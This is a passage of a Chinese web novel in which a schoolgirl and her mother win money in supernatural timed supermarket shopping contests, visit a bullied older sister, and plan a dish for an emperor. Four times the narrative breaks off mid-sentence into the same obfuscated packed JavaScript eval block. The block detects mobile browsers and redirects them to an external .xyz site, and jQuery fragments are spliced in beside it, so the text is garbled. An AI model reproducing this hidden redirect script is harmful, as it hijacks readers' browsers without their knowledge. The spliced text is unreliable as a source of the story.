几位药剂师面面相觑，不知该不该结算，好心提醒吴琦月：“车里起码有三千元的药品，你确定都结算吗？” 三千？预算超太过了，这些药这么贵吗？吴琦月想要拿出一些价格高但是不必要的药品，可是购物车里花花绿绿的什么也分辨不出来，她只好请求药剂师帮忙：“不好意思，我真的没有闹着玩，你们可以帮我把一些贵的药拿出来吗，结算帮我控制到两千就行！” “好的。” 时间一分一秒过去，吴琦月才发觉药品太多，结算太费时间，也不管药剂师答不答应，她留了一句话就要走：“拜托你们先帮我结算打包好，我等下回来刷卡！” 跑出药店，吴琦月又牵来一台购物车，穿梭在生活用品区扫货。 手电筒，刀具，睡袋…… 吴琦月手没停过，一直往购物车里放，很快购物车就装满，把它推到一边，又牵来一台空车。 就这样一台两台三台，等装满四台购物车，时间已经过去四十分钟，她把购物车并排放在一起，接着去药店结算。 “对，就是这个女孩。”“问一下吧。” 一个穿着商场制服的管理人员拦住吴琦月：“你好，附近是出了什么大事吗？楼下有位大姐也在疯狂采购食物，你们是一起的？” “是一起的，我的药结算好了吗？我着急下楼汇合！”吴琦月看到结算台上摆满了药品，袋子放一旁，居然才装了一半。 吴琦月急得抓狂，这动作也太慢了！她们一直在聊天吗？ “你们不像是来采购的，像是来逃难的。我们从监控看到你们疯狂采购，给其他顾客带来压力，都在问附近哪里出事了，要囤这么多药品和水，楼下的大姐光是瓶装水就装了三台购物车，我们真的很担心……” “你先别担心，快动起来吧，我的药摆在桌上二十分钟都没结算完，你们放心，我会给钱的！” “好的好的。”几个药剂师围在一起结算药品，一旁的工作人员还在问：“主要是你们两个的行为为超市带来骚乱，楼下的顾客都有样学样，把货架上能带走的都拿走了，秩序混乱给我们增加了很大的工作量……” 这么严重吗。老妈这是买了多少吃的啊？ “药品结算好了，一共二千一百九十，请问是现金还是刷卡支付？”药剂师看到吴琦月拿出一张蓝卡，几人你看我我看你，她们都没有见过这种类型的卡。 其中一位药剂师把刷卡机拿出来，设置好参数摆在桌上。 吴琦月心里也没底，祈祷系统不要出差错。 蓝卡一刷，所有人屏住呼吸，直到显示屏上显示操作成功，才松了口气。 吴琦月拜托工作人员帮忙推车下楼，这时候系统显示比赛只剩十分钟了。 李素梅这边一边扫货一边计算金额，在周围人惊讶目光中，她又装满一车。 “大姐，你是不是有什么内部消息，快告诉我们吧！”“对啊你都装满了七台购物车了，我看着都紧张。” “没有没有，家庭采购，我买来自己吃的。”李素梅想，我还嫌不够多呢，末日那种环境，这点钱根本买不了多少物品，她甚至选的都是便宜货，也不知道月月那边怎么样了，蓝卡能不能使用，采购时间太短，根本来不及打电话。 没多久，李素梅听见熟悉的声音，抬头就看见吴琦月和几位工作人员推着购物车赶来。 围观群众看到那一大车打包好的药就更紧张：“这肯定出大事了！我们也别闲着，先把能买的买了。” 吴琦月顾不上解释，其实就算解释也没人相信。 “妈，蓝卡用了两千二，有点超预算了。” “超这么多？我这里装了七台车也不止一千，扫货的时候我总觉得这也能用的上，那也能用得上，根本控制不住手。”李素梅看看自己的购物车，又看看吴琦月身后的购物车。 不止五千，她们甚至还要贴钱进去。 吴琦月看出妈妈的想法，一时想退缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880441|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“我们要退回去一些物品吗？” “可是这些都很有用，要退也不知道退什么好。” 【本场限时采购即将结束，请尽快结算。】 【结算后，有专业人员负责接收。】 几位工作人员帮忙把购物车推去结算，吴琦月说一切都很安全，但是她们着急走，问能不能快点结算。 正在排队的顾客看到她们十几台购物车要结算，都好心让出位置。 “一共是4369.8元，请问是刷卡支付吗？” 吴琦月和李素梅对视，都有些犹豫。 其实她们可以完全不去管这个比赛，拿着五千块在超市里买自己需要的东西就行了，反正后面排名没进40%，她们就自动解除绑定，这些东西都能带回家。 可是只要排名进了40%，最少有三倍预算返还，也就是一万五。 要不要自己贴钱进去赌一把？ “我们要不要试一试？”两人异口同声。 “最坏的情况下，我们没赢，还贴进去一千六，剩余的东西我们带回家想办法卖掉。要么现在就退掉超过的商品，可是超市秩序混乱成这样我们都有责任，如果退掉不买，会被超市拉黑吧？”吴琦月有些无措：“妈，你做决定吧。” 【倒计时，九，八……】 李素梅咬咬牙，豁出去了，她把蓝卡里的钱刷完，剩余的自己垫付。 “好了，支付成功。” 【本场限时采购赛结束，预算虚拟货币清零。】 李素梅手里的蓝卡消失，两人庆幸刷卡及时不然要贴更多钱进去。 收银员还是不放心，问：“两位，真的，真的没有发生大事吗？” “真的没有，对了，还有多余的袋子和纸箱吗？”李素梅看到工作人员还站在附近，也请求他们把这些物品拉到门口。 超市门口不知什么时候停了一辆蓝色的小货车，工作人员按照两人要求，把这些物品都搬进车厢里。 “这不是你们的车吗？你们不一起走？” “我们有车接送的，马上就来，不好意思啊麻烦你们了。” 工作人员走后，两人在超市门口等待排名结果。 而围观的顾客都散了，超市很快恢复秩序。 漫长的等待，让两人紧张到身体发抖。 【恭喜编号0725成为本场限时采购冠军！】 “谁？0725，啊我们不是0725，是0933，我还以为是我们呢。” 李素梅有些泄气了，吴琦月在一旁安慰她：“不怕，还有排名没有公布。我们考虑这么周全，一定没问题的！” 【现在公布冠军采购清单，分别有罐头，火腿肠……】 两人聚精会神一项一项对答案，提到有药品和玩具时都兴奋起来，没想到这个冠军想的和她们一样。 “我在购物车里塞了拇指玩偶，也算玩具吧！” 【排名结果已出。】 【编号0933，排名前10%，按照规则，你们将获得三次技能提升次数，和六倍预算奖金，一共三万元，请收好。】 几个顾客结算后大包小包出超市门口，看到有个女孩手心向上抬起，像是要接住什么东西。 这两人他们眼熟，不久前才看见她们在超市里结算十一台购物车，吓得他们都跟着扫货了。 下一刻仿佛变魔术般，女孩手心里出现三捆红色钞票！ 15. 第十五章 察觉到有路人看过来，吴琦月赶紧把三万现金藏好，李素梅顾不上高兴，直接拦住一辆空出租车，想要快点回家。 “我们都看到了！”“先别走，我就问问！”“你手里的钱怎么变出来的？” 两人着急上车，而身后的路人穷追不舍，吴琦月回头指着超市门口敷衍两句：“你们站在那个位置就能变，很简单的。” “师傅，麻烦开快点，我们有急事。” “好嘞！” 路人看着出租车一溜烟走远了，他们回头看女孩刚刚指的位置，提着大包小包走回超市门口。 他们心里其实是不信的，可三个人都亲眼看见红钞票凭空出现，那就不可能是骗人的。于是三个男人把物品往地上一放，然后学女孩手心向上抬起，轮流站在她原先的位置。 无事发生。 “他们在干嘛呢？”“信教的吧，在感谢上天的馈赠。”“哇你懂的真多。” 超市门口出来很多人，那三个路人才明白自己被耍了，现在别人看他们像看猴一样。 超市工作人员走出来疏散看戏的群众：“发生什么事了？大家不要聚在超市门口，很危险，快散了吧。” “是真的，那个女孩站在这，手这样放着，然后就变出钱，三捆钞票，三万啊！”路人不想出丑，试图让其他人跟着模仿。 “先生你好，凭空变钱这种事情不可能发生，一定是你看错了。而且，我们至今没有收到灾害通知，所以请大家不要恐慌，呃，也不要盲目囤货，好吗。” 提到囤货，这三个人悔不当初，如果真的没有危险发生，那母女俩闹这么大阵仗采购说不准只是嫌钱多没处花，那他们跟风的人属于是花大钱凑热闹了。 “早知道就不跟着买了，这么多饼干罐头吃到啥时候啊？” …… 李素梅在客厅检查钞票，吴琦月打开系统面板，纠结三次技能升级次数该怎么使用。 “整整三万一张不差，而且居然都是真的钱！”李素梅乐开花，激动到咳嗽：“月月，你们之前捡的系统都能挣这么多吗？” 吴琦月慢悠悠摇头：”往事不堪回首，那个塑料瓶回收系统啊，我都不想说它，太抠了……” “而且这次系统的外表和以前不一样，表面是龟背纹，我也是第一次见，也许这类系统专门用于比赛吧，竞争大所以奖金丰厚。” “月月，这三万块你全都给我处理吗，要不要拿几张走？”李素梅一边说着一边从三叠钞票里取出五张：“你可帮了我大忙！” “三万块钱就能帮很多忙吗？” “给你姥姥姥爷多请个保姆，三万能用半年，而且我们晋级了，下一场比赛再不济也能买些补品回去。有了这三万，现在我们手头宽裕不少，文文的补习班，明朝的生活费，还有你的每周零花钱——”李素梅一口气说完：“都能恢复，拿着吧，我得打电话通知他们转钱的事。” 吴琦月手里捏着五百元，觉得这一刻有些不真实，这一切的一切都源于她缺钱买葫芦摆件，本来以为只能靠捡废品，结果得到了回收系统，本来以为得到系统就能为所欲为，结果不仅提现困难，还发现家里缺钱急用，更别说还有被叫家长，系统差点被发现这些糟心事。 发生这么多事情，居然才过了一个星期！ 不过，有了钱，明天就能和苏宁宁一起去买摆件了！吴琦月想到这，又开心起来。 李素梅打完电话，有些心事重重的回到客厅：“我刚刚打电话，发现文文好像有点奇怪。” “我二姐能有什么奇怪的地方？” “文文上星期不是说要拿钱补课吗，我和她说现在家里有钱可以转给她补习了，可她说不需要。”李素梅觉得不对劲：“语气闷闷的，好像不开心的样子。” 吴琦月在家和妈妈比较亲，而二姐吴舒文和爸爸交流多，很少和妈妈分享生活。 “二姐不想说，我们也没办法知道，不如我们做点好吃的，明天去学校看看她。” “有道理，我这就下楼去银行存钱，顺便买多点菜准备。”李素梅去卧室取银行卡，动作迅速出了门。 因为不知道下一场比赛是什么内容，吴琦月不好随意升级，就把系统收起来，她打开手机，和苏宁宁聊天。 吴琦月：【动物园好玩吗？】【好消息，今天捡到一个特别好的系统，挣了三万元。】【我够钱买葫芦摆件了！】 没等几分钟，苏宁宁回了信息：【那我们明天就去买葫芦摆件。】【我这边动物园里八卦太多，听都听不过来，导致我一个任务都没完成。】 然后发来几张照片：两只猴子打架争位置，几只圆乎乎的浣熊瘫在地上，大象给小象喂食，喂老虎吃肉…… 【动物不愁吃喝，只想越狱看看外面的世界。】 【我爱莫能助啊】 吴琦月回她：【有八卦听也不亏，任务做不了就放一边呗，别给自己太大压力】【我想了想，摆件的钱我俩对半分，各出一百五】【然后你做系统任务得来的钱不用给我了】 苏宁宁：【新系统真好，谢谢系统，不瞒你说这几天我压力挺大的，总觉得拿着系统不做点什么就是在浪费时间】【但你都这么说了，本来给你的九十块钱我就自己收下了。】【感恩。】 九十块？吴琦月算了算，这是三十次委托啊。 【你不会把家附近的流浪猫狗都薅秃噜皮了吧】 苏宁宁：【哪有这么夸张，但也差不多，每次经过都能触发新的任务，我感觉它们已经把我当成许愿神了，想要什么就露肚皮求摸，摸完就能实现。】 闲着也是闲着，吴琦月顺便把今天在超市的比赛过程说给她听，两人聊天时间很快过去。 晚上吴江回家，看到桌上过于丰盛的肉菜，还以为几个孩子都在家，看了一圈发现就三个人，就问怎么做这么多菜。 “今天菜便宜，特地买多一些，做完饭才发现俩孩子周末不在家。” 吴江今天在外到处跑，也累了一天，就没再说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880442|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天早上，吴琦月和苏宁宁去商场买葫芦摆件，还是上次那家店，销售姐姐把葫芦摆件打包好，送到她们手里。 因为亲手摔碎一次摆件，两人都觉得新买的摆件烫手，你让我我让你，谁都不敢独自保管。 “周日学校也开门，不如我们现在就送过去。”苏宁宁提议：“说不定运气好还能碰上李老师，她经常在办公室的。” “没问题，不过我得赶在中午前回家，今天还要去二姐学校送饭。” 说走就走，保险起见，两人决定打车去学校。 周日的校园比她俩想的要热闹，去往教学楼的必经之路上有个篮球场，高年级学生正在打比赛，周围占满了学生和老师。 人群中时不时传来欢呼声，吴琦月经过垃圾桶，顺手捞起几只塑料瓶。 “看我干嘛，我这不是怕系统自动解绑吗。” 苏宁宁知道吴琦月给塑料瓶回收系统制定了“200w计划”，势必要最大程度薅系统羊毛。 她当时听完计划，只说：“你真是睡蒙了，什么都敢想。” 可谁也说不准以后的事情，毕竟系统的功能这么自由，万一遇到一个奖励空间的系统也不是没可能。 抱着葫芦摆件，两人走到了李老师的办公室，办公室门开着的，但是里面没人在。 李老师办公桌上放着热水，教案也是打开状态，苏宁宁把摆件放在桌子一边，又觉得危险，把葫芦摆件移到书架里侧。 “远远就看到你们两个，今天不是周末吗，过来找我什么事？”李老师进来，看到桌子上的葫芦摆件就明白了：“天哪，你们买了新的摆件？” “李老师实在不好意思，上次我手太欠了，这是我们两个一起凑钱买的，你看看是不是一模一样。” “是一样的，你们在哪找到的？” 苏宁宁把商场位置说出来，还补上一句：“因为李老师对我们很好，看到摆件摔碎那么伤心，我们心里过意不去，想在学期结束前买一个赔给老师。” 李老师眨眨眼，表情有些复杂：”当老师对学生好是应该的，我先谢谢你们对我这么高的评价。” “其实那天摆件摔碎，伤心是因为我朋友骗我，说摆件是她亲手做的，要我好好保存，我当真了，所以碎掉之后好几天都心虚不敢回她信息，生怕被她知道。” “现在一看，这两个摆件都长一样嘛。不行，我要质问她。”李老师打开手机找人：“你们买摆件花了多少钱，我等会把钱转给你们。” “不用转钱，我们是为自己做错的事负责，李老师慢慢聊，我们先走了！”两人赶在李老师挽留之前就逃离办公室。 安全还了葫芦摆件，吴琦月心情无比轻松，这下零用钱暂时不缺了，回收系统也就不着急升级，隔几天回收一个两个保持系统不解绑就行，等待以后的日子里出现新的系统，能助力她完成“200w计划”。 系统重置了163次，吴琦月下定决心，她一定要成为这些人里提现最高的用户！ 16. 第十六章 “一个多小时的车程，你们直接打车去不行吗？” “这是油费。”李素梅大方递给吴江五百元：“打车哪有开自家的车方便。算我雇佣你一个下午，反正在外面找不到工作，你不如暂时给我打工。” 吴琦月看看李素梅，又看看吴江，说：“你们是左口袋出，右口袋进。” “就你话多，收拾好东西下楼等我。”吴江把钱收好，催促她们出门。 提着四个袋子下楼，两人走到车旁等吴江开车。李素梅问起系统有没有透露下一场比赛的题目，吴琦月说系统还没有公布，让她不要担心。 “比赛题目没出来，上一场得到的三次技能升级次数不敢用，总觉得会吃亏。” “我也紧张，生怕错过系统提示，现在比赛没开始，我们都要沉住气。”李素梅往上提了提袋子，感受到手心的重量，想到即将见面的吴舒文：“也希望文文在学校好好的。” 吴舒文就读于北乔第一中学，是全市最好的高中，学校建立百年，门口两边的墙壁上挂满了荣誉牌匾，非常壮观。吴琦月和大哥来过一次，那次大哥说，每天站在荣誉墙下抬头看最上面的牌匾能治颈椎，气得吴江踢了他一脚。 车刚开到校门口，吴江就接到电话，说要回去一趟。 “来都来了，你不进去看文文一眼？”李素梅提着餐盒下车，还是想让吴江和她们一起进校门。 “你们去也一样，和她好好聊聊，记得跟她说，要认真对待每一次考试，及时复盘纠正……” “行行行，没你事了，快回去吧。”李素梅居然指望他能说几句好话，天天把成绩挂嘴边，她不考试的听着都烦。 “急什么，我还没说完，读书就是学生最要紧的事情，其他事都可以以后再说。记得一字不落告诉她。”吴江不和她争论，匆匆说完就把车开走了。 “读书～就是学生最要紧的事情～”吴琦月双手提袋子，在一旁压低嗓子搞怪模仿她爸。 “你小心点，车还没走远，被你爸看到又要唠叨好几天。” 两人向门口保安说明来意，一前一后进入校园。 高三学生忙着冲刺高考，所以大多选择住校，一个月回一次家，也有和李素梅一样的，担心自家孩子没吃好，特地周末来学校饭堂给孩子加餐。 现在不到四点，饭堂里的人就很多了，好在吴琦月眼神好，在一众穿校服的学生里认出二姐。 担心饭放久了不好吃，两人还没落座就把餐盒从袋子里拿出来打开，一样一样摆在吴舒文面前： “牛杂煲，一盒蜂蜜鸡翅，一盒菜心，还有番茄烩饭，这两袋水果是苹果青提和香蕉，都是你喜欢吃的。” “妈，我一个人吃不完，你们也吃点。”吴舒文把冒热气的餐盒推到中间。 “我顺嘴吃两个鸡翅。”吴琦月刚想上手，被李素梅瞪了一眼缩回去：“行，我回家吃也行。” 吴舒文安静吃饭，吴琦月闲得东张西望，没多久注意到饭堂门口有几个学生朝这里看，应该是认出她二姐，几个人笑着走来。 “阿姨好！”“这是加餐啊。”“好香，看起来好好吃。” “妈，这些都是我的同学。”吴舒文停下筷子，介绍同学名字。 “你们好，吃饭了吗，要不要坐下一起吃，我还带了水果。”李素梅向她们发出邀请，一边打开袋子拿苹果出来。 “谢谢阿姨，这些菜都是你做的吗？这个牛杂煲香味简直和饭店里的一模一样，好香啊！” “是啊是啊，怎么做的？” 怎么做的，当然按照流程做的。吴琦月觉得这几个学生怪怪的，再一看，二姐也有些生气，但沉默不语。 气氛不对劲。 “我去餐馆吃过几次，觉得味道好，请教了餐馆主厨，然后自己琢磨琢磨就煮出来了。”李素梅没感觉有什么不妥的地方，这几个学生只是好奇问问牛杂煲怎么煮的而已。 “原来也是抄别人菜谱做出来的，怪不得这么香。” 李素梅没反应过来，还想纠正学生的用词：“这也不是什么独家秘方，顶多算参考，怎么能叫抄呢？”她对自己的厨艺很满意，经过琢磨之后，她做的牛杂煲比饭店里好吃多了：“你们可以尝尝味道，很好吃的。” “不了不了，谢谢阿姨，现在也不早了，我们明天还有小考试，虽然不是很重要吧，但也要认、真、对、待。” “是吧吴舒文同学。” “什么考试啊，奇葩大赛吗，那我二姐肯定比不过你们，”吴琦月在一旁用眼神上下打量这几个学生错愕的表情，接着说：“你们水平数一数二的，随便发挥都能名列前茅。” 有个学生不服还想反驳几句，被吴琦月瞪眼威胁，几个人觉得没意思，就灰溜溜逃走了。 李素梅想阻止她继续输出，吴琦月才不乐意：“哪有人在别人吃饭的时候围过来，说这个菜和饭店里看到的一模一样，又说原来是哪里哪里抄来的菜谱，口水都要喷进锅里了，我就没见过这么没教养的人。要不是我二姐人坐在这，我还以为这是菜市场呢，嘴这么碎！” “妈，我吃饱了，天也不早了，你们回去吧。”吴舒文把餐盒收拾好，装回袋子里。 “这就吃饱了？还有一半的肉没吃完呢。”李素梅这才明白过来，那几个学生和女儿关系不好，她表示很担忧：“她们是不是欺负你了，我去找你们班主任聊聊。” “不用，真的不用，就是，”吴舒文停顿一下，琢磨用词：“我每次考试分数高，她们都以为我是抄的。” “就是这样，没别的了。” “真的？” “真的，这种小事我自己能解决，我不理她们就行了。” 吴琦月和李素梅对视一眼，心里已经有了答案，她们都知道吴舒文自尊心很强，现在强迫她说出事实非常困难。 “那我和月月先回家了，这是五百你收着，如果还缺钱就打电话。” …… 本来以为探望一下二姐，能消除疑虑，没想到探望之后更担心了。 回去的路上母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882241|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女两人都没说话，回到家吴江在准备晚饭，三个人简单吃了点，饭后各自忙自己的事。 系统还没有公布下一场比赛，吴琦月和李素梅把周围大型超市搜罗出来，一个一个标记位置。 可惜今夜无事发生。 一夜过去，新的一周开始了，吴琦月骑车上学，踩点进课室，似乎除了系统，她的生活和以前没什么不同。 上午两节数学课，都在讲解期中考试的卷子，吴琦月因为上周五被叫家长心有余悸，现在上课都不敢走神。神奇的是，她居然真的听完了两节数学课，还让她全听懂了！ 课间休息十分钟，吴琦月在座位上伸懒腰，刚想趴着，脑海中猝不及防传来系统音： 【距离下一场限时采购还有一个小时，请编号0933迅速到附近的大型超市进行准备。】 这么突然？我还在上课啊！ “手机手机……”吴琦月从包里拿出手机，给妈妈发信息。 【还未升级系统的用户请注意，请在比赛开始前用完技能升级次数。】 李素梅：【比赛来得太快，我一个人去参加就行，你千万别请假，时间太赶了！】 吴琦月算了下时间，确实赶不及，只能在教室里出主意。 接着脑海里又传来系统音： 【下一场限时采购委托人：想献给皇帝一道菜，但身边什么都没有。预算一两黄金，折合人民币13000元。】 “多少钱？”吴琦月以为自己幻听了，谁家皇帝一道菜一万三啊，这么奢靡？ 李素梅：【我们先升级技能吧，你那边不方便就告诉我让我操作。】 吴琦月记得技能栏是这样的： 【商品价格.lv1】【升级后价格八折】 【商品数量.lv1】【升级后数量翻倍】 【商品质量.lv1】【升级后延长一倍保质期】 首先，商品价格可以不用升级，八折只不过把预算从一万三提升到一万六，也就多买点东西而已，商品数量也是一样，数量翻倍，除非要买很贵的物品才划算，那就只剩商品质量了。 既然是皇帝，那吃穿用度都要讲究品质，像睡的金丝枕，穿的绣技繁复龙袍，吃的更要讲究，甚至有的一道菜要做一天，商品质量不好怎么撑得住？ 吴琦月觉得很有道理，发信息给李素梅： 【妈，三次升级全用在商品质量上。】 对面很回复：【全用上吗，要不留一次给数量？】 吴琦月信心满满的向她说明自己的想法。 李素梅：【我也觉得商品价格不用这么快升级，但是我又想，多准备几份食材，就多几份保障，万一厨子紧张，步骤错了还可以挽救。】 好有道理！吴琦月想起电视剧里的皇帝，整日操心国家大事，一个不高兴，龙颜大怒，就要拉人下去砍头，虽然不知道谁想出来的情节，但是为了保障委托人的性命，还是多准备几份食材吧。 【那就商品数量升一级，商品质量升两级。】 17. 第十七章 和吴琦月打字的时候，李素梅早早到了超市，这次限时采购赛只有她一个人，难免有些紧张。 她开始逐句分析系统给的题目。首先，是“献给皇帝的一道菜”，皇帝用的东西当然每一样都要最好的，连吃的菜都要刀工精湛，摆盘好看。 所以要往贵的买，贵的进口肉，贵的高级调料，贵的青菜，每种多买一些，总能撞对答案。 然后“身边什么都没有”，也就是说要从菜刀和铁锅买起。 李素梅推着空购物车绕着超市一层转一圈，路过即食区的时候，还想往购物车里装点泡面，让皇帝见见世面，然后又觉得泡面太寒酸，于是什么都没有拿下。 转而去超市地下一层看电器，发现买了电器也没有用，古代又没有电。 越想越觉得古代生活限制真多，没有电好多菜都做不好吃，还是现代方便。 “大姐，又是你啊！”超市营业员认出李素梅，连忙上前悄悄问：“今天大采购吗，我们补了很多货，这次二十台购物车都能装满。” “上次实在不好意思，但今天我不是来大采购的，是来买贵东西的。”李素梅顺便问她：“你们这有没有很贵的，那种高端人士用的餐具，或者高端人士吃的进口肉进口菜之类？” 【限时采购赛即将开始，本场采购委托人：想献给皇帝一道菜，但身边什么都没有。预算一两黄金，折合人民币13000元。】 【预算虚拟币已发放，请及时使用。】 “不缺钱，你放心推荐。”系统音在脑海中响起，李素梅把突然出现的蓝卡塞进兜里。 她实在没有主意，就想先看看有什么值得买的好东西。 “那可太多了，跟我来。”营业员带路上去超市一层，还叫了另一个同事一起讲解。 两个人为李素梅依次介绍了燕窝，典藏名酒，进口牛排，珍贵药材，甚至还有手工锻打切片刀，李素梅看来看去，在她们介绍煎牛排几分熟最好吃的时候，插嘴问了句： “这些看着像是做西餐的呀。” “对啊，高端人士不都吃西餐吗？” 皇帝吃西餐？电视剧都没拍过这样的情节吧。李素梅心想，可是西餐做法倒是很简单，不需要太多调料，想法也很新奇，只是比赛结束上交食材，委托人看不懂怎么办？ 难道还要补一本菜谱上去吗？ 李素梅觉得不行，再问：“有没有中式，高端的食材？” “女士你说的是野山参吗，我们也卖，野山参煲鸡汤煲鸽子汤都不错。” 煲汤吗，献给皇帝会不会有点敷衍？ 李素梅还是不满意，可是时间已经过了十五分钟，反正系统技能升级了数量和质量，她索性每一种买一点：“你们刚刚介绍的食材都给我来一份吧。” 由于上一场比赛太过招摇，李素梅推着购物车继续逛超市，被很多营业员围着推销，她想着反正钱多，那就都来一份。 没多久吴琦月发信息询问比赛进展，李素梅拍购物车照片发过去，问还需要买什么，她可是连铁锅都考虑到了。 吴琦月：【妈，我在想一个问题，如果委托人看到清单里有没见过的东西，他还会采用吗？】 你老妈我早就考虑到了。李素梅飞快回复：【是的，所以我没有买电器，因为我知道古代没有电。】 吴琦月：【老妈聪明。那购物车里的罐装蚝油是？古代可没有包装袋，也没有装调味品的透明罐，还有这些精致包装盒在上交系统前最好都拆开，拿竹编菜篮装着。】 李素梅：【要这么严格吗？】 吴琦月：【不止呢，我上历史课才知道有很多从外面引进的蔬菜水果，像番茄啊马铃薯啊，古人吃不到的东西太多了，所以如果出现没有见过的食材，那位委托人还真不敢选。】 【毕竟这是献给皇帝的菜，换做是老妈你，你会把没吃过的，不知道安不安全的食材做给皇帝吃吗？风险太大了！】 李素梅被点醒，开始着急：【那怎么办？月月你知道这皇帝什么朝代的吗？要是知道年代就好筛选食材了。】 吴琦月：【难，系统给的信息太少，怪不得是晋级赛，比上次难太多了，光是购物车里一袋精盐就能判罪坐牢。】 李素梅赶紧把袋装盐放回货架上。 吴琦月又发来信息说她马上要上课了，还说这次限时采购赛太难，如果没有把握赢，不如用这一万三买家里缺的物品，至少拿回家还能用。 李素梅扣下手机，翻了翻装满的购物车，有些不甘心。 “你买这么多东西，家里来客了？”吴江的声音突然从身后传来，吓了李素梅一跳。 “你怎么来了？”李素梅把购物车往身后推，挡住吴江的视线：“找到活干了？” “没有，我路过这附近办事，想到家里调味料用完了，就进来看看，你这么一大车是？”吴江出现在这里确实是巧合，当时他开车经过超市门口，看到李素梅在超市里买东西，反正她也要坐车回家，干脆在超市门口等她买完一起回去。 只是他在外面等烦了，就进来看看到底买什么要这么久。 “燕窝，进口和牛，红酒，鸽子，铁锅……你这是要做什么大餐？”吴江绕到购物车旁边，试图分析，但是分析失败。 “你先别问，你让我先问。”离比赛倒计时还有十几分钟，李素梅觉得自己还能再挣扎一下。 “你不是总说你很聪明？那我问你，假如你现在除了一万多的现金，其他什么都没有，让你给皇帝做一道菜，做不好就砍头，你会做什么？” 哪来这么奇怪的问题？ 看到李素梅一脸认真的样子，吴江忍住疑问，说：“要看是哪个朝代的皇帝。” “没说。” 吴江回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890871|159790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答：“那就去外面弄点野味吃吃。” “不行，超市买不到。” “全羊宴？”吴江没耐心了。 “不行，调味品这么多，有的朝代连精盐都吃不上，这些太高端了。”李素梅简述吴琦月的话。 “厉害呀，这你都知道？”吴江有些惊讶，开始认真思考：“既然不知道朝代，那首选最保险，最不会出错的食材，大道至简，返璞归真，就用你购物车里的野山参，煲鸡肉或者煲鸽子，放点姜，盐都不用加，野山参鸽子汤，就不错。” “我之前也这么想，可是鸽子汤会不会太普通了？皇帝什么没吃过？”李素梅不满意这个做法。 “你自己说的，献给皇帝的菜，做不好还要砍头，脾气这么不好的皇帝，你还要在他面前展示你的见识宽广吗？”吴江越说越觉得很有道理： “到时候皇帝说起菜品简单普通，你完全可以往菜的原食材上做文章，说一说这野山参多少多少年的来头，谁挖的，煲汤用的水是山泉水还是露水，煲汤用的砂锅多少年历史，谁做的砂锅，太多能编的了……” 吴江还在滔滔不绝输出观点，李素梅在一旁听得一愣一愣的，等她听见比赛倒计时只剩下九分钟了，就赶紧打断他说话，让他去结算区排队占位置。 李素梅赶紧把购物车里的东西除了鸽子野山参之外全部清空，接着顺手提来两个手工竹编菜篮，往里放三盒特级野山参，她瞄了一眼证书，上面显示野山参有三十五年的来历。 这是最久的野山参了，再老一点的超市货架上也没有。 接着就是姜和新鲜的整鸡，最后她跑去超市地下一层，选了个最贵的古法砂锅端走。 【限时采购赛即将进入一分钟倒计时。】 李素梅推着购物车一路狂奔，跑到结算台的时候气喘吁吁。 “结账吧，麻烦快一点。” 吴江还想问她哪来的钱结账，就看到李素梅从兜里掏出一张蓝卡。 “一共九千七百八十。” “怎么会这么贵，你是不是记错账了？”吴江提起一盒野山参看价格。 “先生，这是三十五年的野山参，有证书的，市场价就是三千元。”营业员无奈的解释。 “你挑这么贵的野山参？三年四年的野山参也一样能吃啊！退了退了——”吴江想把野山参退掉，家里到处都要用钱，哪里还有闲钱买这些。 “不好意思啊，直接刷卡，这些都要了。”和吴江解释还需要时间，可是比赛就要结束了，李素梅看营业员把刷卡机设置好，手快就把蓝卡刷上去。 “好的，付款成功，慢走。” “李素梅，你好像有很多事情瞒着我，这张卡是谁的？” 总算卡点付款成功，有惊无险，李素梅松了口气，递给吴江一篮子食材：“你先别问，帮我提东西到超市门口，我再慢慢和你解释。” 18. 第十八章 蓝色货车在超市门口停靠，货箱敞开，李素梅提着篮子，在想另一件事。 她打开系统屏幕查看技能： 【商品价格.lv1】【升级后价格八折】 【商品数量.lv2】【升级后数量三倍】 